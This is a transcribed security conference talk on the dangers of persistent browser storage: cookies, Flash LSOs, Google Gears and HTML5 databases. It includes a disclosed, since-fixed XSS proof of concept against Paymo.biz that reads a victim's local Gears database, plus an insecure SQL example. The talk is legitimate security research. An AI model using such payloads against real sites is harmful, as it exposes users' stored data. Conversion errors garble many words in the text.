A WOLF IN SHEEP'S CLOTHING The Dangers of Persistent Web Browser Storage



Similar documents
AJAX Storage: A Look at Flash Cookies and Internet Explorer Persistence

VoIP Security How to prevent eavesdropping on VoIP conversa8ons. Dmitry Dessiatnikov

Adobe Flash Player and Adobe AIR security

UAB Cyber Security Ini1a1ve

Developing Offline Web Application

Adding Value to Automated Web Scans. Burp Suite and Beyond

How To Understand The History Of The Web (Web)

Mobile Applica,on and BYOD (Bring Your Own Device) Security Implica,ons to Your Business. Dmitry Dessiatnikov

ADOBE FLASH PLAYER Local Settings Manager

HTML5 and security on the new web

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Alexander Polyakov CTO ERPScan

Defending Against Web App A0acks Using ModSecurity. Jason Wood Principal Security Consultant Secure Ideas

The Risks of Client-Side Data Storage From cookie to database

Checking Browser Settings, and Basic System Requirements for QuestionPoint

Hack Yourself First. Troy troyhunt.com

Abusing HTML5. DEF CON 19 Ming Chow Lecturer, Department of Computer Science TuCs University Medford, MA

Telephone Related Queries (TeRQ) IETF 85 (Atlanta)

How To Manage A Mobile Device Management At Harvard

Web Tracking for You. Gregory Fleischer

HTML5 the new. standard for Interactive Web

Web Application Worms & Browser Insecurity

Frequently Asked Questions Ag Banking Online

Tidspunkt : : :59 (49 dag(e)) Operativsystem (OS) fordelt på browsere Total: Safari9 ios %

Instructions for Configuring Your Browser Settings and Online Security FAQ s. ios8 Settings for iphone and ipad app

Offensive & Defensive & Forensic Techniques for Determining Web User Iden<ty

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

Web Application Vulnerability Testing with Nessus

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

Deepak Patil (Technical Director) iasys Technologies Pvt. Ltd.

Project 2: Web Security Pitfalls

Still Aren't Doing. Frank Kim

Authen'cator Leakage Through Backup Channels on Android

Revisiting SQL Injection Will we ever get it right? Michael Sutton, Security Evangelist

Web Application Penetration Testing

NETWORK DEVICE SECURITY AUDITING

The Prevalence of Flash Vulnerabilities on the Web

Kaseya Fundamentals Workshop DAY THREE. Developed by Kaseya University. Powered by IT Scholars

Web Browser. Fetches/displays documents from web servers. Mosaic 1993

System Administration Training Guide. S100 Installation and Site Management

Bacula Open Source Project Bacula Systems (professional support)

Technical Guide for Remote access

(WAPT) Web Application Penetration Testing

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

CYCLOPE let s talk productivity

Next Generation Clickjacking

Web Development. How the Web Works 3/3/2015. Clients / Server

Complete Patch Management

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Five Tips to Reduce Risk From Modern Web Threats

Top 10 most interes.ng SAP vulnerabili.es and a9acks

Security testing the Internet-of-things

Web Conferencing Version 8.3 Troubleshooting Guide

Adobe Systems Incorporated

Cyber Security Presentation Cyber Security Month Curtis McNay, Director of IT Security

2X Cloud Portal v10.5

An Insight into Cookie Security

Privacy- Preserving P2P Data Sharing with OneSwarm. Presented by. Adnan Malik

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

Chapter 1 Web Application (In)security 1

Live Guide System Architecture and Security TECHNICAL ARTICLE

Portal Instructions for Mac

Check list for web developers

Where every interaction matters.

Assessing BYOD with the Smarthpone Pentest Framework. Georgia Weidman

HTML5. Eoin Keary CTO BCC Risk Advisory.

Bank Hacking Live! Ofer Maor CTO, Hacktics Ltd. ATC-4, 12 Jun 2006, 4:30PM

Thomas Röthlisberger IT Security Analyst

Domain Name System Security

Cyber Security Challenge Australia 2014

Web application security

STOPPING LAYER 7 ATTACKS with F5 ASM. Sven Müller Security Solution Architect

How To Protect Virtualized Data From Security Threats

Magento Security and Vulnerabilities. Roman Stepanov

Conducting Web Application Pentests. From Scoping to Report For Education Purposes Only

Main Research Gaps in Cyber Security

Mirtrak 6 Powered by Cyclope

Webapps Vulnerability Report

Cyber Security Workshop Ethical Web Hacking

ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION

Web Applica+on Security: Be Offensive! About Me

Web Application Report

FINAL DoIT v.8 APPLICATION SECURITY PROCEDURE

Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008

Hacking Web Apps. Detecting and Preventing Web Application Security Problems. Jorge Blanco Alcover. Mike Shema. Technical Editor SYNGRESS

PLATO Learning Environment System and Configuration Requirements for workstations. October 27th, 2008

Transcription:

Michael Su+on VP, Security Research A WOLF IN SHEEP'S CLOTHING The Dangers of Persistent Web Browser Storage Twi+er Ques9ons: @zscaler_su+on

Who Am I? Company Zscaler SaaS solu9on for web browser security VP, Security Research Background SPI Dynamics acquired by HP idefense acquired by VeriSign Research Web security Client side vulnerabili9es Fuzzing

Overview Background Data Privacy HTTP Cookies Flash Local SharedObjects Data Integrity and Confiden9ality Gears HTML 5 Structured Client Side Storage Future

Background

Evolu9on of Web Applica9ons Largely sta9c, site generated content Web 1.0 Dynamic, user generated content Web 2.0 Offline web applica9ons Web 3.0 Time Warner/ AOL merger Dot com bubble bursts Google IPO O Reilly Media Web 2.0 Conference Google Gears released Safari 3.1 supports HTML 5 database storage

Browser Storage HTTP Cookies Ini9ally supported by Mosaic Netscape v0.9 beta released Oct. 13, 1994 Internet Explorer v2.0 support in Oct. 1995 Primarily used for personaliza9on/tracking RFC 2109 recommends minimum storage capacity of 4KB per cookie Flash Local Shared Objects First introduced in Flash Player 6.0 User controlled sejngs to manage Flash cookies introduced in Flash Player 8.0 Default storage capacity of 100KB (Google) Gears Launched May 31, 2007 Full local rela9onal database HTML 5 Database Storage Supported by Safari 3.1, released March 18, 2007 Full local rela9onal database

HTTP Cookies

HTTP Cookies Origin Mosaic Netscape v0.9 beta Oct. 13, 1994 Patented by Netscape in 1995 Purpose Primarily used for tracking Allow sites to iden9fy a combina9on of user, browser and computer Details Restricted by same origin policy RFC 2109 HTTP State Management Mechanism At least 4096 bytes per cookie At least 20 cookies per unique host Controllable expira9on Abuse Cookie hijacking Cookie poisoning

Persistent csxss

Sony Search

Sony Persistent csxss

Sony Persistent csxss

Persistent csxss Unique Aspects Persistent only on client Automa9cally triggered whenever page is revisited A+ack Poten9al Leverage for user specific XSS a+acks Not possible with tradi9onal persistent XSS Inform a+acker whenever you ve returned to a site Timing is an issue with a+acks such as CSRF Prevalence Surprisingly common, especially on sites which feature a search history

Flash Local SharedObjects

Flash LSOs Origin Flash Player 6.0 March 2002 Flash Player 8.0 User controlled sejngs to manage Flash cookies Purpose Primarily used for tracking/default sejngs Larger capacity permits use for addi9onal purposes Popular my laptop currently has LSOs from 102 domains all from regular browsing Details Default storage of 100K can be unlimited No expira9on Difficult to delete not 9ed to browser caches Abuse Cookie hijacking Cookie poisoning Data leakage

What s Stored in Flash LSO s? Tracking Iden9fiers Most common Configura9on Sejngs Typical on audio/video streaming sites Authen9ca9on Creden9als Pandora (Encoded password) Easter Eggs Hey. You've just found another easter egg. Congrats you gained nothing :)! Portal Flash game by Armor Games

SharedObject Sandboxing Programming Adobe ActionScript 3.0 for Adobe Flash SharedObjects

Flash LSO Storage Loca9ons Windows XP $user\applica9on Data\Macromedia\Flash Player\#SharedObjects. Windows Vista it is in each user's $user\appdata\roaming\macromedia\flash Player\#SharedObjects. Mac OS X ~/Library/Preferences/Macromedia/Flash Player/#SharedObjects. Linux /home/$user/.macromedia/flash_player/#sharedobjects.

LSO Files Format Binary files *.sol extension Store text data SharedObject readers FD3 SOLReader User Control Website Storage Sejngs in Flash Player Sejngs Manager Firefox add ons Objec9on, Be+er Privacy

Reading/Wri9ng From/To Flash Cookies Limita9ons Same origin policy Origin determined by path Sites can write LSO s at a predefined level (e.g. SharedObject.getLocal("zscaler, / )) Requirements Ability to upload SWF files Increasingly common on Web 2.0 sites Vic9m must visit site with uploaded content

Wri9ng To a Flash Cookie package { import flash.net.sharedobject; import flash.display.sprite; public class zscaler extends Sprite { private var user:sharedobject; private var firstname :String; private var lastname:string; public func9on zscaler() { user = SharedObject.getLocal("zscaler"); firstname = "Michael ; lastname = "Su+on"; user.data.firstname = firstname; user.data.lastname = lastname; } user.flush(); } }

Reading From a Flash Cookie public func9on zscaler() { var label:textfield; user = SharedObject.getLocal("zscaler"); firstname = user.data.firstname; lastname = user.data.lastname; label = new TextField(); label.autosize = TextFieldAutoSize.LEFT; label.background = true; label.border = true; label.text = "Firstname: " + firstname + "\nlastname: " + lastname; addchild(label); } user.flush();

Reading From a Flash Cookie

Pros/Cons of Flash Cookies Pros Model increases complexity of cookie stealing Sandboxing limits scope of a+acks similar to HTTP cookies Cons Greater default storage capacity (100KB) increases likelihood that storage will be used for sensi9ve data Difficult to delete No expira9on

(Google) Gears

Gears Origin Launched as Google Gears on May 31, 2007 Google dropped from project 9tle on 1 st anniversary Purpose Ini9al offline enabling applica9ons Overall close the gap between web apps and na9ve apps by giving the browser new capabili9es Details Primary components: LocalServer Local HTTP/HTTPS capable server for delivering content Database Local implementa9on of SQLite rela9onal database for storing content WorkerPool Run resource intensive JavaScript in the background to improve performance Abuse Data confiden9ality Data integrity

Gears Ac9va9on Allow User must permit Gears access Install SQLite database installed on local file system

Gears Storage Loca9ons Windows XP Internet Explorer: C:\Documents and Sejngs\<user>\Local Sejngs\Applica9on Data\Google\Google Gears for Internet Explorer Firefox: C:\Documents and Sejngs\<user>\Local Sejngs\Applica9on Data\Mozilla\Firefox\Profiles\{PROFILE}.default \Google Gears for Firefox Google Chrome: C:\Documents and Sejngs\<user>\Local Sejngs\Applica9on Data\Google\Chrome\User Data\Default \Plugin Data\Google Gears Windows Vista Internet Explorer: C:\Users\<user>\AppData\LocalLow\Google\Google Gears for Internet Explorer Firefox: C:\Users\<user>\AppData\Local\Mozilla\Firefox\Profiles\{PROFILE}.default\Google Gears for Firefox Google Chrome C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Plugin Data\Google Gears Mac OS X: FirefoxUsers/<user>/Library/Caches/Firefox/Profiles/{PROFILE}.default/Google Gears for Firefox Safari: ~/Library/Applica9on Support/Google/Google Gears for Safari Linux Firefox: <user>/.mozilla/firefox/{profile}.default/google Gears for Firefox Windows Mobile Mobile Internet Explorer: \Applica9on Data\Google\Google Gears for Internet Explorer

cssqli

cssqli Defini9on Ability to read/write to/from a database stored on a client machine Facilitator Browser databases are accessed via JavaScript XSS on a vulnerable site can expose any web browser to cssqli, regardless of patch level Targets Gears HTML 5

A Big Thank You To Paymo.biz Timeline Feb 4 Vulnerability reported to Paymo.biz Feb. 5 Ini9al response reques9ng addi9onal informa9on Feb. 5 9 Addi9onal Correspondence Feb. 9 Fix implemented Thank You Paymo went out of their way quickly respond to the reported vulnerability in order to protect their clients. They were gracious and a pleasure to work with. Web applica9on vendors everywhere can learn from their example. and they offered a free year of service! How s that for gra9tude.

Paymo Injec9on Point <h2>sqli</h2> <p><strong>client</strong> <a href="/clients/view/?id=16392">default Client</a></p> <p>***injection_point***</p> <div style="float: left; padding-bottom: 10px;"> Injec9on point Within paragraph tag Tag will need to be closed </p>

Read Paymo Data 1 2 3 4 </p> <script type="text/javascript src="http://code.google.com/apis/gears/gears_init.js"></script> <script type="text/javascript"> var db = google.gears.factory.create('beta.database'); db.open('dot_store_http zscaler_paymo_biz_client_2_0_client_html'); var data; var rs = db.execute('select * FROM DOJO_STORAGE'); while (rs.isvalidrow()) { data = data + (rs.field(0) + '@' + rs.field(1)); data = data + '\n'; rs.next(); } 1 Close paragraph tag alert(data); rs.close(); 2 Include Gears API </script> 3 Open exis9ng local database <p> 4 Execute SQL query

Paymo cssqli

Gears cssqli BulitIn SQLi Protec9on Secure db.execute('insert into MyTable values (?)', data); Insecure db.execute('insert into MyTable values (' + data + ')'); Meaningless if a site is vulnerable to XSS 67% of sites likely to have XSS [Whitehat Security December 2008]

SQLi vs cssqli SQLi cssqli Iden9fy database structure through verbose error messages or brute force Database structure is readily accessible Online a+acks Online and offline a+acks SQL statement must be vulnerable XSS makes any site vulnerable, regardless of SQL syntax

cssqli vs Cookie The Ques9on Couldn t I access the same informa9on by stealing a user s cookie and accessing their online data? Answer Cookie the does not guarantee data access Site may not use cookies for authen9ca9on Addi9onal ACLs (i.e. IP source address) would prevent access Session creden9als have expired or user has logged out Offline data does not have to mirror online data Verdict No

Sites Using Gears

Pros/Cons of Gears Pros Requires explicit user acceptance Has built in protec9ons for vulnerabili9es such as SQLi Cons Despite default protec9ons, being JavaScript based, it is open to a+ack should injec9on flaws such as XSS exist in the host applica9on Implemen9ng a secure technology on an insecure site invalidates the built in protec9ons Increases the a+ack surface cssqli is a reality Data can be remotely accessed from a local rela9onal database

HTML 5 Structured Client Side Storage

HTML 5 Origin WHATWG began work on specifica9on in 2004 W3C published first public working dra Jan. 22, 2008 Purpose New markup, APIs, error handling, etc. Includes sec9on on Structured Client Side Storage Details Session Storage Similar to HTTP session cookies with greater flexibility Local Storage Similar to HTTP persistent cookies with greater flexibility Database Storage Local rela9onal database Abuse Data confiden9ality Data integrity

HTML 5 Browser DB Support Internet Explorer 8 Supports session storage and local storage, not database storage Firefox Supports session storage and local storage, not database storage Safari 3.2x Full support Opera No HTML 5 support Chrome Despite using the latest branch of the local database features didn t make it into Chrome s first release Chrome s isolated sandbox system would break the built in WebKit database func9onality [monkey_bites]

HTML 5 Database Storage Loca9ons Mac OS X /Users/[username]/Library/Safari/ Databases Others Currently, Webkit based browsers are the only ones suppor9ng HTML Database Storage

HTML 5 cssqli Resources Paper by Alberto Trivero describes poten9al abuse of HTML 5 structured client side storage h+p://trivero.secdiscover.com/html5whitepaper.pdf Various issues covered including cssqli via XSS Same overall issue as demonstrated in Paymo.biz example Gears vs. HTML 5 Blog pos9ngs from Google indicate a desire to ul9mately make Gears compa9ble with the HTML 5 specifica9on

Explicit Acceptance Comparison of Local Storage Technologies HTTP Cookies Flash LSOs Gears HTML 5 No No Yes No Storage Limit 4KB Unlimited (100KB default) Unlimited Unlimited Expiry Custom Never Never Never File Format Text Binary Binary (SQLite) Binary (SQLite) Deployment Universal Near universal Minimal Beta only

How Gears and HTML 5 Change the Game for A+ackers Offline Targets can be a+acked regardless of current Internet connec9vity e.g. Offline Phishing email read while from Gmail, linked clicked and Gears enabled applica9on a+acked Open No need to determine data structure for SQLi everyone has it A+ack surface Poten9ally confiden9al data moves from a single, centralized loca9on (server) to poten9ally millions of individual loca9ons (client) All targets (clients) can be a+acked from one loca9on (web app w/ XSS vuln.)

Predic9ons Adop9on Expect increased adop9on of Gears thanks to favorable exposure from Gmail integra9on HTML 5 and Gears are unlikely to compete Google has already expressed a desire to make Gears compa9ble with the HTML 5 specifica9on Vulnerable Sites Sites will con9nue to push the limits of widely adopted technologies such as HTTP cookies and Flash LSOs, resul9ng in exploitable vulnerabili9es A significant por9on of sites adop9ng local database technologies will have injec9on flaws that leave them open to a+ack A+acks A+ack prevalence will increase in propor9on to adop9on rates

Ques9ons? Michael Su+on VP, Security Research h+p://research.zscaler.com Michael.Su+on@zscaler.com